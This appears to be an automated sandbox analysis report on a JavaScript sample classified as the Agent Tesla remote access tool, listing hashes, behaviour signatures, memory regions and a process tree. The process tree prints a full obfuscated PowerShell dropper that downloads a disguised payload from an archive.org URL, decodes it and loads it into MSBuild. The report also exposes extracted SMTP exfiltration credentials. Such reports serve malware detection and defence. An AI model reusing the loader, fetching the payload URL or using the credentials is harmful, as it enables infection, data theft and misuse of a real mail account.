Analysis

  • max time kernel
    122s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-01-2025 06:29

General

  • Target

    20250120.js

  • Size

    155KB

  • MD5

    fe92c7ee393a2c87ccb3034c9ce18b14

  • SHA1

    8d2c9d5a5c985fb4feb466be1a4752d67042f4b7

  • SHA256

    85f2eb1ab28147d1353a0dbcc5592dcd955e6560e7a33015a303717c4b588d72

  • SHA512

    1adc6de119ce2090ce0752ece5d23e84dfa77e7ebe4505f7b4c5ef206808962b623d527cc888f2028e585f83d7261c7aec4241b90912c2e070eea38791c99ad4

  • SSDEEP

    768:loXxTexWHGJUY61tqTo7RkIwZnBN09oavEug4zdv9PCX9p6FHs5+hAQCx8PkYWXb:QTr8tIInBNKduYM5lOPTWf67ZqGxiZA0

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

exe.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.ctdi.com.ph
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    A#f+Y]H8iO4a

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\20250120.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3960
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.ennada/az.oc.secnailppanednil//:sp##h';$restoredText = $originalText -replace '#', 't';$vilifiers = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$hemichannels = New-Object System.Net.WebClient;$osteogenesy = $hemichannels.DownloadData($vilifiers);$rescindable = [System.Text.Encoding]::UTF8.GetString($osteogenesy);$phytotoxic = '<<BASE64_START>>';$Homberg = '<<BASE64_END>>';$committed = $rescindable.IndexOf($phytotoxic);$rhamphodon = $rescindable.IndexOf($Homberg);$committed -ge 0 -and $rhamphodon -gt $committed;$committed += $phytotoxic.Length;$dyotheletian = $rhamphodon - $committed;$gradualistic = $rescindable.Substring($committed, $dyotheletian);$quadropole = -join ($gradualistic.ToCharArray() | ForEach-Object { $_ })[-1..-($gradualistic.Length)];$phosphorical = [System.Convert]::FromBase64String($quadropole);$aegophony = [System.Reflection.Assembly]::Load($phosphorical);$stolonization = [dnlib.IO.Home].GetMethod('VAI');$stolonization.Invoke($null, @($restoredText, 'palatines', 'palatines', 'palatines', 'MSBuild', 'palatines', 'palatines','palatines','palatines','palatines','palatines','palatines','1','palatines','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
          PID:3004
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1512

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hmpf4uze.vef.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1512-19-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/1512-28-0x00000000064B0000-0x00000000064BA000-memory.dmp

      Filesize

      40KB

    • memory/1512-27-0x00000000064D0000-0x0000000006562000-memory.dmp

      Filesize

      584KB

    • memory/1512-26-0x0000000006290000-0x000000000632C000-memory.dmp

      Filesize

      624KB

    • memory/1512-25-0x00000000061A0000-0x00000000061F0000-memory.dmp

      Filesize

      320KB

    • memory/1512-24-0x0000000005020000-0x0000000005086000-memory.dmp

      Filesize

      408KB

    • memory/1512-23-0x0000000005400000-0x00000000059A4000-memory.dmp

      Filesize

      5.6MB

    • memory/1796-13-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

      Filesize

      10.8MB

    • memory/1796-18-0x000001D9F3790000-0x000001D9F379C000-memory.dmp

      Filesize

      48KB

    • memory/1796-17-0x000001D9FE700000-0x000001D9FE8BA000-memory.dmp

      Filesize

      1.7MB

    • memory/1796-22-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

      Filesize

      10.8MB

    • memory/1796-16-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

      Filesize

      10.8MB

    • memory/1796-15-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

      Filesize

      10.8MB

    • memory/1796-14-0x00007FFCBBE73000-0x00007FFCBBE75000-memory.dmp

      Filesize

      8KB

    • memory/1796-1-0x00007FFCBBE73000-0x00007FFCBBE75000-memory.dmp

      Filesize

      8KB

    • memory/1796-12-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

      Filesize

      10.8MB

    • memory/1796-2-0x000001D9F3D90000-0x000001D9F3DB2000-memory.dmp

      Filesize

      136KB